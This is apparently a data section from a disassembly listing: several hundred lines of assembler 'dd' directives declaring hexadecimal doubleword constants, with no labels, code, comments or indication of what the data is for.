		dd 6A40B860h, 409A6372h, 121EED0Bh, 0AC052D13h,	0BFE94F97h
		dd 6886E04h, 8257C0CDh,	0E2EBB50h, 48088329h, 0E7833E47h
		dd 220213AFh, 6BFC14D9h, 0AFD07FA8h, 0CE2DD04Ah, 73B7D13h
		dd 0B4C6025Fh, 600B2223h, 2F71414Bh, 0D0A6801h,	0CE590B89h
		dd 69044B7Bh, 0F3FE2D9Fh, 478FC25Bh, 306E7740h,	0B4EC854Fh
		dd 0CAB1FBD2h, 0E131F87Bh, 0FCFB67A2h, 2E328FBEh, 0B980338Bh
		dd 21CD3403h, 140EF281h, 0A461CE53h, 272BAF04h,	2CEEE875h
		dd 51053852h, 0D7FA624Ch, 15BF30A4h, 0D7955D7Bh, 61AE0BB0h
		dd 0E1901E7Eh, 0FB06B902h, 4AC9E908h, 0C68B5F6Eh, 0D62EFC24h
		dd 803BC06Fh, 0DFF602EFh, 0FF1A7968h, 0FC8EDC99h, 0E925F3EAh
		dd 0DF05895Ch, 0F149B5C5h, 0F5A6C2DFh, 0D807A9D7h, 43320F7Ch
		dd 903D354Bh, 742E0604h, 0B0C3C3Fh, 3AD23368h, 9319827Dh
		dd 0A00A68BBh, 0A414957Ah, 5A505D3Fh, 0CA30469Dh, 0AB9C602Dh
		dd 0EE4F5AEFh, 5E66094Ch, 383092B5h, 248269A4h,	0A6D2E0FFh
		dd 6D942F5Dh, 783A9F0h,	0E8B5577Dh, 0B5C7D55Eh,	8B6BBF5Eh
		dd 89B5D164h, 0D9601DE9h, 2A129DBEh, 59094C54h,	326F8111h
		dd 443F7FE9h, 0AF04EACDh, 5EE96C68h, 0EAAFD1C7h, 89EF1409h
		dd 8CA7EC88h, 665E21C6h, 0D4F6020Ah, 0E480CCFEh, 0D930C6E9h
		dd 0A9E02ACDh, 0DDF630A1h, 0E5C0C90Ah, 0ED07087Eh, 59EC3039h
		dd 4904360Fh, 0A99168Eh, 4FB83C20h, 0AB25BE83h,	0D8DEF90Ch
		dd 0E3331DA4h, 6DF68149h, 6AD59432h, 0D361D5A1h, 1334E33Bh
		dd 0D3CA4764h, 8E1C2C32h, 0E4C0FA48h, 5060365h,	0A918DEC2h
		dd 4FE86481h, 0B1749099h, 59F830BBh, 0AF40C7B0h, 0D6822D0Fh
		dd 4E9793D0h, 0C78B122Ah, 7BDBF25Ch, 0BB70F94Bh, 472F3C1h
		dd 0D0E93097h, 0B7B207BBh, 0B992CA07h, 865A77B1h, 20970D31h
		dd 19C9D388h, 61513134h, 0C8E95754h, 0D66B8F44h, 5A990B5Ah
		dd 22684C8Ah, 0FC5BFA46h, 315AA0CBh, 3A26A0C8h,	0E07DC986h
		dd 3F3F0206h, 12ACF758h, 0ABEC8E6Ah, 0D37EBC85h, 41F2CB46h
		dd 6616DFF0h, 670FF1F7h, 0B23BBF6Ah, 5851269Dh,	456213F7h
		dd 98AB7Fh, 0E90CA0EEh,	0D84B5A0Eh, 1E4128FDh, 96672AF8h
		dd 72A94962h, 55009B29h, 616B52D0h, 0A6E2315Ah,	5469746Fh
		dd 27C916DDh, 0A4A7B7E9h, 92F273DDh, 0E41B4Ch, 232C6035h
		dd 13C5E0Dh, 3A055B33h,	20483459h, 38BD61C0h, 622E68B4h
		dd 0A65EAB38h, 0ECADBC7Bh, 94C398B8h, 7F68843Eh, 1C12B377h
		dd 0F7274DE1h, 0CD9D0316h, 0B85013DAh, 61BF4AD4h, 8937BBB8h
		dd 55549599h, 0BA566230h, 24D561A8h, 5F921991h,	0C0BF290Bh
		dd 97F8219Bh, 2E9AC7Ch,	0AD3D87h, 0C95B890Dh, 0E8017C75h
		dd 0F280E65h, 1D244981h, 64927225h, 979B5652h, 7C9A5320h
		dd 415E1E12h, 0D78EA5E9h, 0EE341105h, 1035C554h, 5F3798AFh
		dd 8408922Dh, 0BF89CC48h, 8100E49Ah, 1A2417F2h,	5F4BE93Fh
		dd 0F8FD076h, 0C75EBA8Dh, 318446F2h, 0F78F37A8h, 1EB007C4h
		dd 7068F378h, 7282B981h, 0B5E4EE26h, 0DF65366Bh, 0F80F7DEAh
		dd 33B60E40h, 0F267B2E9h, 1E95E775h, 0D7B27D87h, 0A7147F8Dh
		dd 2611F49Fh, 0E4CB1722h, 7A796F3Fh, 3781255Eh,	1A80FD29h
		dd 0F2BB585Dh, 3358774Bh, 287E0F72h, 9CE98407h,	12839895h
		dd 0D7BF3E9Eh, 0A7B55826h, 49152FDDh, 7561E28Fh, 3437A294h
		dd 73628587h, 80A5A7A6h, 32F20BD7h, 561877A4h, 481DBDC6h
		dd 0E6815333h, 422D1144h, 10C0DD31h, 0D428ED0Ch, 3504415Eh
		dd 0CE517D06h, 0A7F9AC60h, 0EE58C69Fh, 9AFF8263h, 0AEAA814Bh
		dd 55DE7B4Eh, 880EE58h,	0C54E56E9h, 592AFFCh, 138BFBB7h
		dd 5E17BCC6h, 6F9B2DAEh, 0E9C550ECh, 0B97690BDh, 222D79C0h
		dd 92417E3Ch, 0E4C2A84Ch, 8EBE39C4h, 70BB5F16h,	0BBF5721h
		dd 5E4A7F18h, 257C87CEh, 75F02ECCh, 7CCADD27h, 0B4296FB1h
		dd 772D27D4h, 0E2FEBA14h, 7FF2964Eh, 5ABB5301h,	0FB6E4B45h
		dd 73F61CE2h, 2484776Eh, 59E64A77h, 0F55C482Dh,	0B148D6DEh
		dd 0BE56D0B8h, 0CA1E7C0Ah, 7803F42Eh, 42FAF11h,	654BFDCEh
		dd 8A580466h, 0AEA18F85h, 0BE89526Ah, 0C520D869h, 0F7544B26h
		dd 89D996C1h, 1410812Dh, 0DD552D62h, 0D6826229h, 0C3F1A1FCh
		dd 0D1382B8Bh, 9B840F2Ch, 0E5ED7198h, 5EF89412h, 0E967B4EAh
		dd 8FB45B26h, 0C809A8A0h, 445E401h, 0EDAA8929h,	5FB9C94Bh
		dd 8000AC42h, 0F8211F5h, 4ECF2924h, 0B6B00820h,	4EE501B7h
		dd 3E71EED1h, 8A2AE2D1h, 0C9C1DD2Fh, 165F6E9Dh,	7A541630h
		dd 0F0BE5E2Ah, 0E82568D9h, 883F596Dh, 0EC313B9Fh, 4C6FC195h
		dd 81245A0h, 3EE48A4Bh,	0BC724F2Ah, 6CA3C4ADh, 0BAE0570Fh
		dd 1C016A54h, 0AEAFBF01h, 0D7297B98h, 8BA2ED6Eh, 62E78544h
		dd 931B0DD1h, 5B54428Ah, 89501EA0h, 0D9F6D1CFh,	9C250249h
		dd 41E87C7Dh, 4CCBB89h,	0D60AF182h, 0C77F695Fh,	760D8CBDh
		dd 0DCB7310Ah, 29EF027Ah, 0F8406F69h, 0CA2E7937h, 0E1106C77h
		dd 1283558h, 2778EC25h,	5440CE69h, 2BBC309Fh, 5D545541h
		dd 4EF78F7Eh, 0EAB482ACh, 0B9580828h, 7FE9893Dh, 139E3CD8h
		dd 2BF4425Ah, 679F4E0h,	7755EB85h, 0CD121B98h, 72108B21h
		dd 0F68A120Ch, 48C5DFEEh, 0BEDA85A3h, 23E3FB90h, 383F4872h
		dd 0F29361Eh, 6262B876h, 40D6D8B2h, 0A405CF3Dh,	8089A704h
		dd 0EEB2DE0h, 5D5ADF77h, 0DE0B5FC1h, 921E3B7Fh,	0B92C67D0h
		dd 3A8209BAh, 0ED6AC07Dh, 2E803C89h, 8F48AF48h,	5F71E982h
		dd 0C3800507h, 3E01DEF4h, 0E2D158C1h, 86412833h, 257E3132h
		dd 0F7184784h, 6082C3E8h, 2E14637Bh, 9E134DABh,	7CBF20C1h
		dd 5FFF8C55h, 0BD3FA47h, 0F1CF23AAh, 0AB041350h, 7E40C24Eh
		dd 4F97294Ch, 30D57DF7h, 0B11A9B7Dh, 3CB8C0B7h,	16B35309h
		dd 4285FDFEh, 0A896C418h, 48680B14h, 0F9E9B038h, 0E956807Ch
		dd 0DA70BA2Dh, 16CEA8Eh, 0ECBE51D0h, 3EB499FCh,	0ED0276ACh
		dd 3982AACh, 80CA8FDh, 0BE31CF20h, 5FFD6199h, 5B9BB87Fh
		dd 0D9ED60EAh, 0E15BD6A0h, 7C31BDB9h, 2E565DEBh, 62AD95D1h
		dd 0B7C14BA0h, 4542EBE2h, 0E157E9CAh, 0D2202DCCh, 1C11B2AEh
		dd 0EED2F792h, 44D116FEh
		dd 0EED33129h, 0CE3D8899h, 0D03D8793h, 77442068h, 18101F48h
		dd 890F1CE9h, 0BDE6EECAh, 0D2945F09h, 28B5719Dh, 2498977Bh
		dd 0C45FE95Ah, 61406E32h, 48EE7BADh, 2F5BD631h,	66D04CBEh
		dd 355EE460h, 0B87D19C7h, 0F4132413h, 0CD09208h, 53384F40h
		dd 505267DEh, 7AB0C684h, 28CF1FC4h, 3B2D3AE2h, 0F627AE53h
		dd 5F1F0262h, 0D9DF6FDDh, 81CC2CAEh, 8366AF41h,	0A9FE50C3h
		dd 26055542h, 0C6CBE94Ah, 2E71B7BFh, 0E84C4A68h, 50CD4FF5h
		dd 7674F480h, 0E95D4A59h, 16E9C3FBh, 682A02AEh,	6C450296h
		dd 0E307D7DBh, 33950E3Bh, 0B1EBC5FBh, 3C9A2BCCh, 0E9DC8A02h
		dd 0A2489920h, 0D6825E58h, 3E240851h, 0A0B35827h, 2539B99Dh
		dd 0B441103Ah, 65A03AD1h, 8BFA0888h, 10B313Eh, 0CFCD05DDh
		dd 0E6D9BF4Eh, 580F8F10h, 0BA06A6DFh, 101FDB4Ah, 0CC4053B6h
		dd 4E19BFA9h, 1657CE31h, 3CEA97D6h, 0AD409254h,	5F6212BEh
		dd 0AE8B045Ch, 0DCB8AFEBh, 4AD2A9B4h, 0B83A1AD9h, 6858045Ah
		dd 3DEA2837h, 0CDDC3E24h, 48AB409Eh, 5550EECh, 0F10540ECh
		dd 6C4AC07Bh, 0F6A959F4h, 325897h, 7E763F3Fh, 88DA6011h
		dd 3C860646h, 4AB70958h, 0AA46C4FFh, 0D3E3B2ECh, 17731848h
		dd 5E29635Fh, 18B0E2D8h, 6072402Fh, 0DF2F8D0Fh,	0B00F17Bh
		dd 2AC25F8Ch, 0B21F355h, 5E93C706h, 173459E0h, 16744EB8h
		dd 0E0489827h, 9D8BE9ECh, 0B05F0062h, 827AFA2Ch, 0C98E20FFh
		dd 765D2157h, 25D0FF38h, 1A314BF3h, 0F05C25AFh,	1A1729C0h
		dd 0BCD9983Bh, 0FE5C16F3h, 426C5298h, 2E90D45h,	0E82F88D4h
		dd 0E313DFF1h, 575E30C2h, 5C92DF47h, 0C2E3E6ABh, 0DD7CF3E9h
		dd 68381DE4h, 98AA4BC6h, 7E444E4Fh, 0F3485E25h,	33E51756h
		dd 0E9C79DFCh, 0D7C4EB67h, 9095055Bh, 0B72525B6h, 197ECD8Bh
		dd 5547E824h, 2056D2D9h, 8100B8D6h, 5E75F5CDh, 28820F23h
		dd 160C27A4h, 48A3A16h,	1762074Ch, 4E4E6DF4h, 8948B98Bh
		dd 67D4D056h, 11BB18B7h, 0EE6C6B78h, 59B2F763h,	19B9BB80h
		dd 1C5A6241h, 0CB09FB81h, 0F3B09E7Ch, 4224075Ch, 6502222Bh
		dd 0D51D8E7Fh, 3C84F940h, 9FD00180h, 2D601874h,	6E216405h
		dd 7D41C24h, 0F2565A16h, 0E0DD948Ah, 9D7B52E9h,	0B426EFC4h
		dd 1D6A00F1h, 84333E0Fh, 12B8B2ECh, 98DBB2D2h, 6D15B8h
		dd 2AB807E2h, 3133A723h, 2B887394h, 0C39D0EB6h,	685BBDE6h
		dd 824AB680h, 0AC06F899h, 0ECD01709h, 2EB83050h, 880D75ECh
		dd 4FF00E00h, 3411CA05h, 2EF2F40Ah, 26C3693Dh, 29780062h
		dd 0DF05D8F7h, 0DA4E0CF2h, 0BC6A38E1h, 51E98383h, 0ED6F0391h
		dd 15660F92h, 842E8698h, 0D355E99Ah, 0DCF62AB8h, 607F9710h
		dd 0AD5F2F16h, 27417C54h, 2418DDEBh, 380227C6h,	0B5684458h
		dd 8025797Bh, 13F173C8h, 5D9CC609h, 28A89C2h, 0DCC0E0C1h
		dd 0B3005005h, 0EF811415h, 1E29162Bh, 39C7011Eh, 863B0851h
		dd 6109225Ah, 0DE171875h, 48805A60h, 400E7AE1h,	5713F6F8h
		dd 481EFB07h, 24EA54D6h, 0FD2CEB84h, 0B97237h, 2D7805B8h
		dd 0F829463Dh, 710746EBh, 50B1A4B5h, 0D84598AEh, 703CE919h
		dd 73D8960Eh, 0A6119F5Fh, 6D013B53h, 205BB050h,	8F6BA70h
		dd 26B2E9D1h, 1804B81Fh, 7B81220Eh, 5DC657Dh, 0C1E230E9h
		dd 2879BD20h, 0D126A90Ah, 0BF09CDEDh, 7A7CC136h, 0BB024368h
		dd 3B5365A7h, 16C5B340h, 0FC6DD92Ch, 4E76F003h,	4F180517h
		dd 0AF7B0C07h, 955834C8h, 5A2216FFh, 0A2D8A45Ah, 5591B40h
		dd 4998ABB9h, 6183EFA8h, 7709A7ACh, 7F4B4CD1h, 2EA5CF19h
		dd 0B7E472AFh, 0F92D2DF2h, 0EB15FF5Fh, 1DC92630h, 1B347605h
		dd 0C1AE6BE9h, 6B5A0AB1h, 0EC9252ECh, 0D800A48Ch, 35D85D67h
		dd 0B58BA14Bh, 0B87298D0h, 40C30CD4h, 5D0C7CD1h, 0B3C70812h
		dd 0FE1C12BEh, 0F204C0F2h, 0BE1E9723h, 7378EC30h, 4F6D1D21h
		dd 6BECC1h, 0DC0B9AC7h,	0F90B292Bh, 0FFF5A1E9h,	0E477563Ah
		dd 1DE954Eh, 0D1A54EEAh, 0EA29659Ch, 0EBD6EBB3h, 0EAD7B992h
		dd 2DE577D9h, 0D85E9E4h, 5E05288Ah, 46789068h, 833AFBD7h
		dd 43B6CD4Eh, 0A6B8B94Ah, 1B681726h, 0CAC66142h, 0BE5F01BCh
		dd 14782D30h, 0E9FE316Ch, 0E2F76A16h, 1C6F4203h, 0F80E6F04h
		dd 3AFC922Ch, 0FE65B5A0h, 3980C539h, 4FE599CAh,	0F5E4DA0Ch
		dd 870BB7A8h, 0C40857F6h, 4B428A1h, 6D6E220Bh, 0FAE6C4C1h
		dd 9DA07224h, 0F75C9556h, 7CCB898Ah, 2786D46Ah,	5F40738Ch
		dd 8032EF03h, 935E5C4Ah, 0CB09090Eh, 2F1CF85Dh,	0FD6E3427h
		dd 454F9FF6h, 5FB0A888h, 0CBCFD1F9h, 20900682h,	91F64AB5h
		dd 0B8407FFDh, 1CE1ED44h, 0F2CF4E89h, 7967C415h, 0EDB850EEh
		dd 583DCC4Ah, 673B1197h, 0AC665597h, 0CA5F3FE9h, 0C7A7B7BCh
		dd 9C57EB11h, 0A341202Dh, 0FDA08DA0h, 0FE13CD2Fh, 0E2632C61h
		dd 0EA7468F9h, 0A13EB5BBh, 4C85BF1Dh, 0F6E22795h, 927B10h
		dd 0E1EA815Dh, 4F0FDA72h, 0B3791052h, 3EAE0B68h, 0C3DCC02Dh
		dd 57FD276Fh, 63FE529Fh, 168EF3CEh, 0F2CEDA97h,	2159418h
		dd 0EB80A2B2h, 0A45079C0h, 0F6A8529Ah, 0FE12511Eh, 0E3215B1Fh
		dd 52FE4h, 0B0602A07h, 0E095294Fh, 5F015A12h, 0D064AC5Ch
		dd 2F084111h, 0E33EF7B5h, 87E90916h, 0CBFDF659h, 0D9B5BEF0h
		dd 0A021EA34h, 0F5C019Eh, 54E9EE51h, 29642E8Ch,	9FCAF8AFh
		dd 7F3EC267h, 21FF7B96h, 61A36F0Bh, 15A4CB96h, 1D82ABE9h
		dd 0FFEDDAF6h, 0E5B18007h, 4FC2BA30h, 69ADF0DCh, 0C600F929h
		dd 1AE846F8h, 0A40D7EBDh, 0EC85175Eh, 2D475ECCh, 0BF960BF6h
		dd 19D7F288h, 187E1327h, 829BC42Ah, 12167C9Dh, 4EB4C07Dh
		dd 5128890Fh, 5792432h,	72F68526h, 0BE148A97h, 98FF4B3Ch
		dd 495F6860h, 5C969E46h, 0C9FEB9B2h, 0DC0EA8D9h, 0CBAE1762h
		dd 855525C8h, 0DFF04177h, 59D6408Bh, 0C7E7D497h, 0B10CF553h
		dd 5B5ED807h, 61992E9Dh, 0DF3C88BDh, 2E664060h,	34DE038h
		dd 9226E9FBh, 8513326h,	77B37E18h, 8B36B338h, 0BAABBA57h
		dd 9846835Dh, 6D9BC769h, 0B8460CB3h, 0C8648822h, 8E41C5Eh
		dd 552B0EE5h, 0F5C07B83h, 38F3294Eh, 4DD5F717h,	0A44400EAh
		dd 0E9B4DCEEh, 725CA727h, 80612026h, 830AD3A0h,	5EFCFA8h
		dd 0C90967B8h, 8026762Bh, 29685567h, 0E8F99513h, 0C031839Fh
		dd 0F18B02E1h, 96F64D1Ch, 58047F72h, 3D9DC286h,	40F28902h
		dd 0C0440512h, 1835C2C7h, 0F0B76D2Ch, 135DFA68h, 8365F12h
		dd 451C9022h, 33A6FC6Dh, 0DC010206h, 0F86B2C4Ch, 4835EA01h
		dd 4864A82Eh, 0B51216CFh, 3C4F7E8h, 7530BA51h, 4C4D2D27h
		dd 5212C40Bh, 1B2EB2FDh, 0E92D2F68h, 5731C0Dh, 17E1E2D2h
		dd 7E2310E4h, 0E2189C8Fh, 719DAB41h, 9ACBCF1Dh,	0F604BADFh
		dd 0E1F6E28Ah, 0CEC8A672h, 3461261h, 2777FE0Eh,	0E054ECBh
		dd 45C20A42h, 0B20A882h, 52596140h, 80E14595h, 116C5676h
		dd 6590DEF7h, 70485509h, 7010449h, 6A4F2500h, 0F0BF2132h
		dd 48F7079Eh, 6050E633h, 6F28B0E7h, 6E97313h, 0DEB90A80h
		dd 0EA5250Ah, 2D2F6C5Fh, 7C42D0E9h, 0EADA18FFh,	0DB74BD9Bh
		dd 2DEC5A4Bh, 0A6C4C1Dh, 0BF6608C1h, 0FD3E3202h, 0B91F7981h
		dd 0FF6527B4h, 96D8446Ah, 0E289989Dh, 8E5E9F86h, 0ED507A40h
		dd 0EF29FA1Eh, 0F84FFB63h, 0B25D9448h, 7B40C05Eh, 75F37528h
		dd 9F5AF8C3h, 269C5FCh,	0E752D96h, 1869BDC0h, 454B48F9h
		dd 0F6B31ECh, 0D97F92C2h, 0C5FD6904h, 0E1BD091Bh, 4559F280h
		dd 37278D0Fh, 40FCF412h
		dd 0B05CD81h, 9346FF3Fh, 0E7ACB78Bh, 0D70EA4Ah,	0D3855BE9h
		dd 4426FEDFh, 0C11E4834h, 0D885C381h, 0AA74102h, 0CB247E4Eh
		dd 1E75B0ABh, 8AC761Eh,	43AAFA93h, 0FEFF2DFh, 57ED0A1h
		dd 841284AFh, 932B1A8Ah, 0C4FD2DFh, 1334731Fh, 8313221Ch
		dd 33014329h, 3D244A92h, 7571D9E1h, 4A3D7AC6h, 212FB05h
		dd 0C5FB2CAFh, 0D661C766h, 0E6C11904h, 3590DC07h, 0AB8A4571h
		dd 0DDAA2412h, 35436070h, 7F7D92E0h, 0E9EA0905h, 56BDFB90h
		dd 0A4E34026h, 0FBCF1282h, 0BDB93F31h, 373DCCCh, 0E5B85049h
		dd 34100356h, 89125E47h, 9601FFC2h, 49C471DBh, 929E53F8h
		dd 25840385h, 85BA21BCh, 5BE80B4Eh, 1C57090Ah, 53605075h
		dd 5208082h, 48D7376Eh,	0AFB4257Ch, 94A170A8h, 8695A6D5h
		dd 67E0DF92h, 6FDE0BBFh, 0A88027F9h, 121F3A0Ch,	0E0FA012Dh
		dd 639CF70h, 0A0E93830h, 6813548Fh, 0D58C79D3h,	0EA391936h
		dd 48A244Fh, 523586ABh,	10C63300h, 0E9FE2962h, 0A13453D4h
		dd 97DCB11Eh, 87F6C5E3h, 68D800BFh, 26963E6Ah, 0C580B260h
		dd 0E29FA10Bh, 0C7968104h, 0D6D83B02h, 0B489BD0Fh, 2494C5F7h
		dd 5B56CBABh, 0C1A9FC25h, 0AD08F8E9h, 8528C0BDh, 790244A0h
		dd 30312D41h, 5B79903Fh, 0D54A8952h, 20020372h,	0C6F1805Ch
		dd 4E3CC058h, 1F083BBh,	72F0064Bh, 0B0A54AB1h, 42659DAh
		dd 301336D2h, 875A5AFCh, 0C3E97187h, 0D4B62597h, 762D6884h
		dd 0DA5C9910h, 12192AC2h, 3A70A888h, 9557C0C7h,	5FC0195Eh
		dd 0F2BA52h, 3116964Ah,	0CF815AD7h, 323A9E1Ch, 330CB165h
		dd 2425DD35h, 57CFB3Ah,	3279E91Ch, 48EED84h, 1ACD7F7h
		dd 0BD560196h, 3B0AB7A0h, 8889B5A8h, 5E54DAE0h,	0D24B7EB5h
		dd 6852ED18h, 4E38FFBCh, 57C103B2h, 32CB49E9h, 7C8990EEh
		dd 0DCCAFCFBh, 2FDCFEFFh, 53A8544Bh, 8BED7438h,	0FD3E4907h
		dd 24084028h, 45551B58h, 0EE13DFB7h, 0B4F46D21h, 5E88C3Fh
		dd 0DE2DB6BEh, 685C4B65h, 0C6AA082h, 0AA565525h, 65A9A197h
		dd 0F933C112h, 8952CF26h, 2530545Ah, 26E30774h,	0DAE73C01h
		dd 67E4880Bh, 3E4CC948h, 81004FE8h, 90283FCEh, 0EFFE5901h
		dd 0C2613A88h, 41D6F60Fh, 0BE18E9C6h, 452FFD24h, 4C8A061Ah
		dd 283E2101h, 6F68161h,	60DA09C5h, 99FD35BEh, 0FD0CE9CBh
		dd 7360C7D5h, 0C0D0F624h, 0FE063AE8h, 0EAFA8814h, 0BF458F12h
		dd 3182B674h, 0DDCCDD0Fh, 0B7531EC1h, 163151A6h, 2593E22Eh
		dd 0A5945C2Dh, 9B85E830h, 690E1995h, 3172B641h,	0A5ABF83Ah
		dd 0E4105CBCh, 68560660h, 2FC3571Ch, 674E8350h,	5580683Eh
		dd 73C93A5Dh, 0FAF67FD5h, 1F409C3h, 2A8F4446h, 0B859AD04h
		dd 1688205Eh, 5255CD89h, 0D280BEBCh, 6222E95Eh,	7DA24D75h
		dd 8A3D020Bh, 0A0F95DBFh, 5992CEA4h, 0B810E3A9h, 0F9ED7DF3h
		dd 928B2813h, 30E9DBDCh, 802C56A3h, 83F0D5CAh, 4688AC4Ah
		dd 49F52088h, 1E4A567Eh, 0C3FECE00h, 0F28B352h,	0CB885358h
		dd 19FC9FCBh, 9CBA3A89h, 0ABD19FA0h, 7A973342h,	9278EEB4h
		dd 79770C95h, 37722785h, 9B498641h, 2431BC3Ah, 2A43B15Dh
		dd 0CE2301D5h, 4C617736h, 0C8F9DC0Fh, 3DD79EA8h, 3007C7BDh
		dd 0DD685A45h, 779D5470h, 6806C315h, 2FEB1430h,	0A7118CF0h
		dd 7D03DC0Dh, 3B2D7602h, 0D4CDB0ADh, 0E781003Bh, 2B153861h
		dd 97BB5300h, 9642820h,	261B98DFh, 53596C86h, 0A4DF7ADAh
		dd 13C0A3F2h, 0F8E6D146h, 2E01B5F3h, 60476658h,	5A8082AAh
		dd 30CB5828h, 8289BB4Ah, 8EF8B93Bh, 79396F7Eh, 95414020h
		dd 0BE0469DEh, 548522A6h, 926EA25Fh, 25A31F3h, 731AE9FAh
		dd 42FB3102h, 0AD40FDB2h, 0BC307A69h, 6BEC0C3Ah, 0C1994E84h
		dd 9698E05Eh, 0E0F9C3FDh, 4752681Ah, 9F8B8286h,	4E157238h
		dd 4B0F8EEAh, 0E9BB28FBh, 0D5DEDC26h, 0DB17F993h, 5BDD1C98h
		dd 0CF77165Bh, 0CFB47F7Bh, 3A4E9888h, 0BA964F4h, 5B49BE5Fh
		dd 0BFB5966h, 66FF4E83h, 72553876h, 3F838842h, 0ED07CD99h
		dd 5AE47CDFh, 65BF7354h, 0CCBC5B9Eh, 0E97938D6h, 596582EDh
		dd 71224D68h, 6ADA8985h, 9ADEC55h, 4D5442BEh, 0A0402985h
		dd 0EE07BD49h, 29EAFD65h, 5E24EA5Ah, 9B799901h,	0BD2E310Fh
		dd 2BAE267Dh, 0E0EA2192h, 0FF001B88h, 412DF4D3h, 941A9870h
		dd 190720E7h, 350DBBE9h, 0B7A32FC1h, 0D19AE9C4h, 0DCD03148h
		dd 87B4FE2Bh, 0EA5872h,	1C136338h, 0E907EBC1h, 1A859325h
		dd 88F6C00Bh, 95C082BEh, 189F951Ch, 80B7F3DBh, 6B7F2D5Eh
		dd 421EBE25h, 3C785FE7h, 79519317h, 45641D1Eh, 1CEA3BABh
		dd 59CB2185h, 9A9DE90Bh, 0EBE2F6A9h, 7C46047Dh,	5A74AB10h
		dd 0A754BDA6h, 1F4FAC43h, 83E8EF83h, 0FB8948DCh, 6AC3F1E9h
		dd 2D539ADAh, 1FE82912h, 72EEC028h, 1342E32h, 2DB8C65Fh
		dd 0CE256932h, 0ADC9C77Fh, 0B36018D5h, 8B6DBCB0h, 1A547EB6h
		dd 78488263h, 0D1A3597Dh, 0C43B9B00h, 0F4B5378h, 8F56892Eh
		dd 69ABE985h, 16AA35AFh, 498BC7Dh, 7C1619CEh, 25D5A0h
		dd 6D3802BFh, 0CB328905h, 4CB8064Bh, 88940929h,	830BBFBBh
		dd 7BC40EAh, 0D2BD7A55h, 80BE8503h, 0A0115BA3h,	8217D2B2h
		dd 6F00B725h, 0A31754F2h, 2D629006h, 4DA297E9h,	3F0A4C95h
		dd 812DAE26h, 29A96878h, 12D8D7Bh, 0F4505B90h, 7FE15A78h
		dd 829782B7h, 0DEF13034h, 68CD4852h, 733205E0h,	0F1425A03h
		dd 838740A0h, 31F898E8h, 3C2CDA58h, 0A55948BEh,	0D9BC8905h
		dd 8F81B2AAh, 0E579C652h, 7A25001Ch, 35463B0Fh,	76256DC6h
		dd 18EE030h, 8C36C1CFh,	89707E6Bh, 0F817E9C5h, 0A0044E01h
		dd 4C4ECB44h, 0EB3694EEh, 0CB9EB2ECh, 0B1A8628Dh, 201000F2h
		dd 75BE05C4h, 73F21902h, 5552E1E9h, 96C12A12h, 0DECC6922h
		dd 4EAA59C9h, 0DFB495h,	7857B951h, 0E1F231D3h, 78043BF3h
		dd 8045E07h, 5B43DAC6h,	0F8B30C40h, 30C0CBFEh, 0E90A07E3h
		dd 73D85C06h, 1D1336h, 0BF571B53h, 7B381C15h, 19AE6A1h
		dd 0D8425E2Dh, 5F897573h, 1FB2384h, 6E1FEE68h, 0C9C8E27Ah
		dd 9D655051h, 0C3ECD780h, 0CDA13B1Fh, 75B801F2h, 3930C2D8h
		dd 2704005h, 712B2D3Fh,	0CE616BD2h, 0F82901A1h,	0D6F0E4DFh
		dd 2748985Fh, 0B59232BFh, 4C08D05Dh, 9901755Ah,	0E954A663h
		dd 46133F68h, 614A70A9h, 6FEEECF2h, 0DA42E8DEh,	2D2FDA10h
		dd 0C2A55989h, 0DF1A06F6h, 43910C16h, 0E97040ACh, 0E44A5ACDh
		dd 913F4A5h, 4FE0650h, 0E8894D7Fh, 186D9431h, 0DD7908FAh
		dd 81F08638h, 0F1517A62h, 508C9A3h, 0E9A1BC7Ch,	93F3860h
		dd 5E88EB80h, 0BBCABA90h, 0A899F532h, 181EFBD5h, 1EBB9215h
		dd 80FD868h, 4A21456Ch,	0C3B5F741h, 0C52B0FB3h,	23609A2h
		dd 1BEFE5D7h, 5BB8CAFEh, 0B119E380h, 7388D3F6h,	0C52876F0h
		dd 0D59C6CF6h, 34B2D149h, 0E38D8BE8h, 64630405h, 1D2A817h
		dd 2B063D38h, 0E830CD89h, 0A2BEBD52h, 0E51E912h, 0F885B8BDh
		dd 9AB9828h, 8FD19F4Ah,	29C91047h, 6E3D7060h, 11C47DF5h
		dd 88F9D494h, 68125697h, 31AB51E3h, 8FDCD16Ch, 479CF14Bh
		dd 0C5B32D50h, 0F3FE8521h, 4E794864h, 0D01332FBh, 6E32DDD6h
		dd 122C7625h, 345EBAB9h, 1263188Eh, 0C8ECA2BEh,	9C97BA8Ch
		dd 4656F449h, 3E870F08h, 0BA253FAEh, 38BF058Ah,	8A6EB404h
		dd 9894EFCFh, 27A562FEh, 0ED211AF4h, 4BB652C0h,	67B84CE9h
		dd 0AF57EA8Bh, 0F47F69FBh, 39DB1F1h, 48B63A2Dh,	0A82CE984h
		dd 0EB5F17h, 201BABE6h
		dd 86350F12h, 0F8034D4Bh, 0D58D5FF1h, 0BAB380AAh, 6A2F443Ch
		dd 5480F54Ch, 0E5649BC6h, 247DBEC6h, 8814555Fh,	7EE8E17Eh
		dd 0E93955A7h, 938874Eh, 6E604802h, 0CCB25200h,	80C20EFEh
		dd 537D90E2h, 10A1E914h, 0BB028857h, 45AD1F6Eh,	10085DEh
		dd 0D4E92CFCh, 24A0929Dh, 69DD4435h, 4F006550h,	2AB93C0Fh
		dd 95558B3Ah, 0CEBCA0FDh, 7698475h, 0D2E6D05h, 561FA510h
		dd 81311CBFh, 305A59EFh, 0FDF52BF8h, 0C9450F20h, 417CFEEDh
		dd 5165F42Dh, 0EA132A15h, 0D2C3B304h, 1B560109h, 0C8B70FE0h
		dd 6F402768h, 48721298h, 0FF78880h, 0F4C7805Ah,	1DD0D369h
		dd 9E31AD28h, 18D9F20h,	0F083CBBDh, 0F8A32D24h,	0E4B801AAh
		dd 63766812h, 57C401BCh, 5D2AD211h, 0A681537Dh,	3B331097h
		dd 2B3F125Ch, 509E2EA8h, 13B33F92h, 2814F380h, 0C63B760Bh
		dd 0BAE63D75h, 3D57CCEEh, 5FC58221h, 5F4BA3E9h,	5005ECEDh
		dd 0A38236B4h, 0F5546033h, 0BFE854E9h, 565D0BBEh, 9D002988h
		dd 2C22462Dh, 886089BDh, 0B909B2E0h, 5E3D9F0h, 0BE59B151h
		dd 9337FDD7h, 2D90E633h, 0FFFCC90Ch, 0F5A68D18h, 0BAFE6E28h
		dd 613BA0B3h, 24BB5959h, 77A52018h, 1435769Ch, 0D7AA75A5h
		dd 12B68695h, 80A3B507h, 82A321EDh, 59462E7Fh, 9743E247h
